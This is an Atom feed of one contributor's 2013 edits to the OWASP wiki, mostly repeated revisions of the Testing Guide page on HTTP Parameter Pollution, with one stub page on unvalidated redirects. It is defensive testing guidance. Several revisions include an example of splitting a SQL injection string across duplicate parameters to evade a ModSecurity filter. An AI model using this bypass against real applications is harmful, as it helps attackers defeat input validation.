<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ben+Walther</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ben+Walther"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Ben_Walther"/>
		<updated>2026-05-31T16:21:15Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157197</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157197"/>
				<updated>2013-08-22T15:19:50Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: &amp;quot;&amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;.&amp;quot; The filter would block this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3 from table&amp;lt;/code&amp;gt; would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
===Expected Behavior by Application Server===&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To test for vulnerability, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). Query string parameters are easy to tweak in the navigation bar itself. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Having identified a particular input parameter to test, go ahead and submit input via the HTML form or action. One can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. Find the parameter being tested, and simply append the same parameter to the GET or POST data but with a different value assigned. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For example: if testing the &amp;lt;code&amp;gt;search_string&amp;lt;/code&amp;gt; parameter in the query string, the request URL would include that parameter name and value.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;http://example.com/?search_string=kittens&amp;lt;/code&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Append the same parameter with a different value&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;amp;search_string=puppies&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
and submit the new request. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show &amp;lt;code&amp;gt;kittens&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;puppies&amp;lt;/code&amp;gt;, some combination of both (&amp;lt;code&amp;gt;kittens,puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;kittens~puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;['kittens','puppies']&amp;lt;/code&amp;gt;), may give an empty result, or error page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation methods are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated or generate an error, there is an increased likelihood of being able to use parameter pollution to bypass regular input validation.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Crafting a full exploit from a parameter pollution weakness is beyond the scope of this test. See the references for examples and details.&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola - https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf&lt;br /&gt;
&lt;br /&gt;
How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel, Acutenix - http://www.acunetix.com/blog/whitepaper-http-parameter-pollution/&lt;br /&gt;
&lt;br /&gt;
CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze, Cigital - http://capec.mitre.org/data/definitions/460.html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157180</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157180"/>
				<updated>2013-08-22T14:54:39Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: &amp;quot;&amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;.&amp;quot; The filter would block this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3 from table&amp;lt;/code&amp;gt; would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
===Expected Behavior by Application Server===&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
To test for vulnerability, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). Query string parameters are easy to tweak in the navigation bar itself. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Having identified a particular input parameter to test, go ahead and submit input via the HTML form or action. One can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. Find the parameter being tested, and simply append the same parameter to the GET or POST data but with a different value assigned. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
For example: if testing the &amp;lt;code&amp;gt;search_string&amp;lt;/code&amp;gt; parameter in the query string, the request URL would include that parameter name and value.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;code&amp;gt;http://example.com/?search_string=kittens&amp;lt;/code&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Append the same parameter with a different value&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;http://example.com/?mode=guest&amp;amp;search_string=kittens&amp;amp;num_results=100&amp;amp;search_string=puppies&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
and submit the new request. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show &amp;lt;code&amp;gt;kittens&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;puppies&amp;lt;/code&amp;gt;, some combination of both (&amp;lt;code&amp;gt;kittens,puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;kittens~puppies&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt; ['kittens','puppies']), may give an empty result, or error page.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation methods are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated or generate an error, there is an increased likelihood of being able to use parameter pollution to bypass regular input validation.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Unvalidated_Redirects_and_Forwards_(OWASP-DV-004)&amp;diff=157116</id>
		<title>Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Unvalidated_Redirects_and_Forwards_(OWASP-DV-004)&amp;diff=157116"/>
				<updated>2013-08-21T17:17:56Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
..here: we describe in &amp;quot;natural language&amp;quot; what we want to test.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
...here: Short Description of the Issue: Topic and Explanation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
===Finding Redirects===&lt;br /&gt;
&lt;br /&gt;
===Testing Redirect Validation===&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157115</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157115"/>
				<updated>2013-08-21T17:09:51Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: &amp;quot;&amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;.&amp;quot; The filter would block this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3 from table&amp;lt;/code&amp;gt; would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
===Expected Behavior by Application Server===&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157114</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157114"/>
				<updated>2013-08-21T17:08:49Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: &amp;quot;&amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;.&amp;quot; The filter would block this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input. As an example, the URL &amp;lt;code&amp;gt;/index.aspx?page=select 1&amp;amp;page=2,3 from table&amp;lt;/code&amp;gt; would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Given the URL and querystring: &amp;lt;code&amp;gt;http://example.com/?color=red&amp;amp;color=blue&amp;lt;/code&amp;gt;&lt;br /&gt;
{| &lt;br /&gt;
|-&lt;br /&gt;
! Web Application Server Backend !! Parsing Result !! Example&lt;br /&gt;
|-&lt;br /&gt;
| ASP.NET / IIS || All occurrences concatenated with a comma || color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| ASP / IIS || All occurrences concatenated with a comma|| color=red,blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Apache || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| PHP / Zeus || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Apache Tomcat || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Oracle Application Server 10g || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| JSP, Servlet / Jetty || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| IBM Lotus Domino || Last occurrence only || color=blue&lt;br /&gt;
|-&lt;br /&gt;
| IBM HTTP Server || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_perl, libapreq2 / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Perl CGI / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| mod_wsgi (Python) / Apache || First occurrence only || color=red&lt;br /&gt;
|-&lt;br /&gt;
| Python / Zope || All occurrences in List data type || color=['red','blue']&lt;br /&gt;
|}&lt;br /&gt;
(source: [[Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf]] )&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Ben Walther</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157113</id>
		<title>Testing for HTTP Parameter pollution (OTG-INPVAL-004)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)&amp;diff=157113"/>
				<updated>2013-08-21T17:08:00Z</updated>
		
		<summary type="html">&lt;p&gt;Ben Walther: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors, or modify internal variables values.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. Without a standard in place, web applications handle this edge case in a variety of ways (see the table below for details). It is not necessarily an indication of vulnerability when an application server responds to multiple similar parameters; this is expected behavior for handling an unusual input. The vulnerability depends if an one can abuse the concatenation or substitution of variable values to cause errors or bypass validation.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For example, when HTTP Parameter Pollution was first identified, a flaw was identified using the ModSecurity SQL Injection filter. The ModSecurity filter would correctly blacklist the following string: &amp;quot;&amp;lt;code&amp;gt;select 1,2,3 from table&amp;lt;/code&amp;gt;.&amp;quot; The filter would block this example URL from being processed by the web server: &amp;lt;code&amp;gt;/index.aspx?page=select 1,2,3 from table&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
